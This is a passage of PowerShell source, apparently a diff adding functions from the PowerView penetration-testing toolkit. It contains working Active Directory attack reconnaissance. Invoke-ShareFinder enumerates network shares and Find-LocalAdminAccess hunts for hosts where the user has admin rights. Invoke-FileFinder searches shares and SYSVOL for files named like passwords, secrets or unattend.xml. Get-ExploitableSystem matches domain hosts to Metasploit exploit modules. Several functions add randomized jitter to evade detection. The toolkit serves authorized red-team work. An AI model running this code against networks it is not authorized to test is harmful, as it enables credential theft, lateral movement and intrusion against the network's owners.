to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ExcludeStandard + + Find non-standard shares on the domain. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Threads 20 + + Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Delay 60 + + Find shares on the domain with a 60 second (+/- *.3) + randomized delay between touching each host. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt + + Find shares for machines in the specified hosts file. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $ExcludeStandard, + + [Switch] + $ExcludePrint, + + [Switch] + $ExcludeIPC, + + [Switch] + $NoPing, + + [Switch] + $CheckShareAccess, + + [Switch] + $CheckAdmin, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @('') + + if ($ExcludePrint) { + $ExcludedShares = $ExcludedShares + "PRINT$" + } + if ($ExcludeIPC) { + $ExcludedShares = $ExcludedShares + "IPC$" + } + if ($ExcludeStandard) { + $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + } + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + Write-Debug "[*] Server share: $Share" + $NetName = $Share.shi1_netname + $Remark = $Share.shi1_remark + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + # if we're just checking for access to ADMIN$ + if($CheckAdmin) { + if($NetName.ToUpper() -eq "ADMIN$") { + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + } + # skip this share if it's in the exclude list + elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + # see if we want to check access to this share + if($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + else { + "\\$ComputerName\$NetName `t- $Remark" + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'CheckShareAccess' = $CheckShareAccess + 'ExcludedShares' = $ExcludedShares + 'CheckAdmin' = $CheckAdmin + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin + } + } + + } +} + + +function Invoke-FileFinder { +<# + .SYNOPSIS + + Finds sensitive files on the domain. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, grabs + the readable shares for each server, and recursively searches every + share for files with specific keywords in the name. + If a share list is passed, EVERY share is enumerated regardless of + other options. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ShareList + + List if \\HOST\shares to search through. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationDate greater than this date value. + + .PARAMETER IncludeC + + Switch. Include any C$ shares in recursive searching (default ignore). + + .PARAMETER IncludeAdmin + + Switch. Include any ADMIN$ shares in recursive searching (default ignore). + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER NoClobber + + Switch. Don't overwrite any existing output file. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER SearchSYSVOL + + Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .EXAMPLE + + PS C:\> Invoke-FileFinder + + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + + .EXAMPLE + + PS C:\> Invoke-FileFinder -Domain testing + + Find readable files on the 'testing' domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + + .EXAMPLE + + PS C:\> Invoke-FileFinder -IncludeC + + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login' or 'unattend*.xml' in the name, + including C$ shares. + + .EXAMPLE + + PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv + + Enumerate a specified share list for files with 'accounts' or + 'ssn' in the name, and write everything to "out.csv" + + .LINK + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ + +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $ShareList, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String[]] + $Terms, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $TermList, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $IncludeC, + + [Switch] + $IncludeAdmin, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $NoClobber, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [Switch] + $SearchSYSVOL, + + [ValidateRange(1,100)] + [Int] + $Threads, + + [Switch] + $UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" + + $Shares = @() + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @("C$", "ADMIN$") + + # see if we're specifically including any of the normally excluded sets + if ($IncludeC) { + if ($IncludeAdmin) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("ADMIN$") + } + } + + if ($IncludeAdmin) { + if ($IncludeC) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("C$") + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + # if there's a set of terms specified to search for + if ($TermList) { + ForEach ($Term in Get-Content -Path $TermList) { + if (($Term -ne $Null) -and ($Term.trim() -ne '')) { + $Terms += $Term + } + } + } + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're hard-passed a set of shares + if($ShareList) { + ForEach ($Item in Get-Content -Path $ShareList) { + if (($Item -ne $Null) -and ($Item.trim() -ne '')) { + # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder + $Share = $Item.Split("`t")[0] + $Shares += $Share + } + } + } + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$Terms) { + # search for interesting scripts on SYSVOL + $Terms = @('.vbs', '.bat', '.ps1') + } + } + else { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates shares and files on a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) + + Write-Verbose "ComputerName: $ComputerName" + Write-Verbose "ExcludedShares: $ExcludedShares" + $SearchShares = @() + + if($ComputerName.StartsWith("\\")) { + # if a share is passed as the server + $SearchShares += $ComputerName + } + else { + # if we're enumerating the shares on the target server first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + + $NetName = $Share.shi1_netname + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $NetName.ToUpper()) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Debug "[!] No access to $Path" + } + } + } + } + } + } + + ForEach($Share in $SearchShares) { + $SearchArgs = @{ + 'Path' = $Share + 'Terms' = $Terms + 'OfficeDocs' = $OfficeDocs + 'FreshEXEs' = $FreshEXEs + 'LastAccessTime' = $LastAccessTime + 'LastWriteTime' = $LastWriteTime + 'CreationTime' = $CreationTime + 'ExcludeFolders' = $ExcludeFolders + 'ExcludeHidden' = $ExcludeHidden + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + Find-InterestingFile @SearchArgs + } + } + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ExcludedShares' = $ExcludedShares + 'Terms' = $Terms + 'ExcludeFolders' = $ExcludeFolders + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + # kick off the threaded script block + arguments + if($Shares) { + # pass the shares as the hosts so the threaded function code doesn't have to be hacked up + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + else { + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + } + + else { + if($Shares){ + $ComputerName = $Shares + } + elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + $ComputerName | Where-Object {$_} | ForEach-Object { + Write-Verbose "Computer: $_" + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + } + } + } +} + + +function Find-LocalAdminAccess { +<# + .SYNOPSIS + + Finds machines on the local domain where the current user has + local administrator access. Uses multithreading to + speed up enumeration. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it checks if the current user has local administrator + access using Invoke-CheckLocalAdminAccess. + + Idea stolen from the local_admin_search_enum post module in + Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess + + Find machines on the local domain where the current user has local + administrator access. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -Threads 10 + + Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -Domain testing + + Find machines on the 'testing' domain where the current user has + local administrator access. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt + + Find which machines in the host list the current user has local + administrator access. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" + + if(!$ComputerName) { + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping) + + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # check if the current user has local admin access to this server + $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + if ($Access) { + $ComputerName + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} + + +function Get-ExploitableSystem { +<# + .Synopsis + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. + + .DESCRIPTION + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. The script filters out disabled + domain computers and provides the computer's last logon time to help determine if it's been + decommissioned. Also, since the script uses data tables to output affected systems the results + can be easily piped to other commands such as test-connection or a Export-Csv. + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + The example below shows the standard command usage. Disabled system are excluded by default, but + the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't + logged on for two or more weeks it's been decommissioned. + PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize + [*] Grabbing computer accounts from Active Directory... + [*] Loading exploit list for critical missing patches... + [*] Checking computers for vulnerable OS and SP levels... + [+] Found 5 potentially vulnerable systems! + ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE + ------------ --------------- ----------- --------- --------- --- + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + + .EXAMPLE + + PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation + + How to write the output to a csv file. + + .EXAMPLE + + PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping + + Return a set of live hosts from the testlab.local domain + + .LINK + + http://www.netspi.com + https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 + + .NOTES + + Author: Scott Sutherland - 2015, NetSPI + Modifications to integrate into PowerView by @harmj0y + Version: Get-ExploitableSystem.psm1 v1.1 + Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" + function found in Carols Perez's PoshSec-Mod project. The general idea is based off of + Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. +#> + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem = '*', + + [String] + $ServicePack = '*', + + [String] + $Filter, + + [Switch] + $Ping, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + Write-Verbose "[*] Grabbing computer accounts from Active Directory..." + + # Create data table for hostnames, os, and service packs from LDAP + $TableAdsComputers = New-Object System.Data.DataTable + $Null = $TableAdsComputers.Columns.Add('Hostname') + $Null = $TableAdsComputers.Columns.Add('OperatingSystem') + $Null = $TableAdsComputers.Columns.Add('ServicePack') + $Null = $TableAdsComputers.Columns.Add('LastLogon') + + Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { + + $CurrentHost = $_.dnshostname + $CurrentOs = $_.operatingsystem + $CurrentSp = $_.operatingsystemservicepack + $CurrentLast = $_.lastlogon + $CurrentUac = $_.useraccountcontrol + + $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) + + # Check the 2nd to last value to determine if its disabled + $DisableOffset = $CurrentUacBin.Length - 2 + $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) + + # Add computer to list if it's enabled + if ($CurrentDisabled -eq 0) { + # Add domain computer to data table + $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) + } + } + + # Status user + Write-Verbose "[*] Loading exploit list for critical missing patches..." + + # ---------------------------------------------------------------- + # Setup data table for list of msf exploits + # ---------------------------------------------------------------- + + # Create data table for list of patches levels with a MSF exploit + $TableExploits = New-Object System.Data.DataTable + $Null = $TableExploits.Columns.Add('OperatingSystem') + $Null = $TableExploits.Columns.Add('ServicePack') + $Null = $TableExploits.Columns.Add('MsfModule') + $Null = $TableExploits.Columns.Add('CVE') + + # Add exploits to data table + $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 